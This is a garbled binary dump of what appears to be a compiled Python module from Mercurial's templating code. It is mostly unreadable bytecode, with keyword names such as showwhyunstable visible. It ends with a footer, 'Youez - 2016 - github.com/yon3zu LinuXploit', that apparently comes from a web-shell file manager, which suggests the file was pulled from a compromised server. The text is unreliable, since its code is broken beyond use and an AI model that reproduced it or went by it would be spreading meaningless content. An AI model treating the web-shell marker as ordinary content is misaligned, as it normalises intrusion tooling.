(EXPERIMENTAL)
rsinstabilityr�rp)r5rr�
instabilitiesrls   r+�showinstabilitiesr��s;��
�
�
�7�F�
+�C�����������rds	verbosityc��URUS5nUR(agUR(agUR(agg)zKString. The current output verbosity in 'debug', 'quiet', 'verbose',
or ''.r�sdebugsquietsverboserd)r5�	debugflag�quiet�verboser�s   r+�
showverbosityr�s7��
�	�	�'�5�	)�B�	�|�|��	����	����rdswhyunstablec	�x^	^
�URUS5m
URUS5nSm	[R"T
U5nUHYnURS5(dMUSn[	SUVs/sHofR5PM snU
4SjU	U
4Sj5nXtS'M[ Sn[R"X8S	S
9$s snf)zJList of dicts explaining all instabilities of a changeset.
(EXPERIMENTAL)
rrc�T�S[R"U5UR54-$)Ns%s (%s))rr>r�rs r+�
formatnode�#showwhyunstable.<locals>.formatnode�s#���W�3�3�C�8�#�,�,�.�I�I�IrdsdivergentnodesNc�>�STU0$r�rwr�s �r+rz�!showwhyunstable.<locals>.<lambda>�r�rdc�>�T"TU5$r/rw)r#rr*s ��r+rzr�s���*�T�!�W�-rdsM{instability}:{if(divergentnodes, " ")}{divergentnodes} {reason} {node|short}�
)r��sep)r5r
�whyunstabler�rrrr�)rArBr)�entries�entry�dnodes�dnode�dnhybridr�rr*s         @@r+�showwhyunstabler�s����
���G�W�-�D�
�
�
�7�F�
+�C�J��!�!�$��,�G����9�9�&�'�'��,�-�F���*0�1�&�����&�1�+�-�	�H�(0�#�$��	!�	��#�#�G�E�B�B��2s�-B7c�\�URR5Hup4U[U'M g)z1Load template keyword from specified registrarobjN)�_tablerU�keywords)r��extname�registrarobj�name�funcs     r+�loadkeywordrs&��"�)�)�/�/�1�
������2rdr/)F)�returnr)i�
__future__rrrrgrrr�rr	r
rr
rrrrrr�utilsrr�hybridr�
hybriddict�
hybridlistr�rrr~rNrXr��defaulttemplr�templatekeywordrcrhrmrsr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr r#r�	_requiresr7rArGrWrYr[r^rbrir}r�r�r�r�r�r;r�r�r�r�r�r�r�r�r�r�r�r�r�rar�rrrr@�
i18nfunctionsrwrdr+�<module>r$s���#���

�
�
�
��
�
�
��
�
$�
$�
�
�
$�
$�
�
�
$�
$�
�
�
$�
$�
��.�.��B�J�@+�
��t�#��&��+���)��6��[�����+�+�H�5����f�X�.�&�/�&�
��g�v�%6�7�+�8�+���f�X�.��/�����x�0�K�1�K����&�(9�:�
=�;�
=����x�0��1���#�w��.?�@�0�A�0��"�g�v�->�?��@����F�8�,�<�-�<���F�8�,�
�-�
����v��7�
8�8�
8���u�g�.�K�/�K���f�X�.��/��"��&��2��3��	#�&���E�����*�&�+��?��@������(=�>��?������(=�>��?������(=�>��?����V�H�-�P�.�P���(C�D�*�E�*�L��.����,�
�-�
���B�'�=�(�=���(C�D�2�E�2�8�&�%�0K�L�.�M�.�
�)�4O�P�2�Q�2�@� #*�6�!2�������'8�9��:��$��&>�?�9�@�9�(���'�6�):�;�>�<�>�<��g�v�%6�7��8����F�8�,��-�����x�0��1���"�e�V�_�=�	5�>�	5���G�9�-��.�����y�1�4�2�4�>��G�V�+<�=��>�����y�1��2����G�9�-��.����%C�D�	�E�	��"�g�v�->�?��@��B�#�w��.?�@�)*�A�)*�X��&��*�L�+�L���&��*�L�+�L���V�H�-��.����V�H�-��.����f�X�.��/����f�X�.��/����w��&7�8��9��,��V�H�-��.�����x�0��1����6�(�+��,�����x�0�F�1�F�(��G�V�#4�5�0�6�0�
����0��1����F�8�,��-���!�V�H�5��6������0��1����7�F�*;�<�C�=�C�<����!�
rd

Youez - 2016 - github.com/yon3zu
LinuXploit